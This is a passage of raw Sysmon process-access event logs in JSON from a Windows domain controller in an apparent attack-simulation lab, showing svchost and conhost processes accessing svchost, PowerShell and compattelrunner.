11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":971,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":972,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":973,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":974,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":975,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":976,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":977,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.860\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-001086400100}\r\nSourceProcessId: 2212\r\nSourceThreadId: 2472\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.860","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-001086400100}","SourceProcessId":"2212","SourceThreadId":"2472","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":978,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.860\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00100F5C0100}\r\nSourceProcessId: 2312\r\nSourceThreadId: 2480\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010C05A0100}\r\nTargetProcessId: 2304\r\nTargetImage: C:\\Windows\\system32\\compattelrunner.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.860","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00100F5C0100}","SourceProcessId":"2312","SourceThreadId":"2480","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010C05A0100}","TargetProcessId":"2304","TargetImage":"C:\\Windows\\system32\\compattelrunner.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":979,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.860\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-001087400100}\r\nSourceProcessId: 2204\r\nSourceThreadId: 2476\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 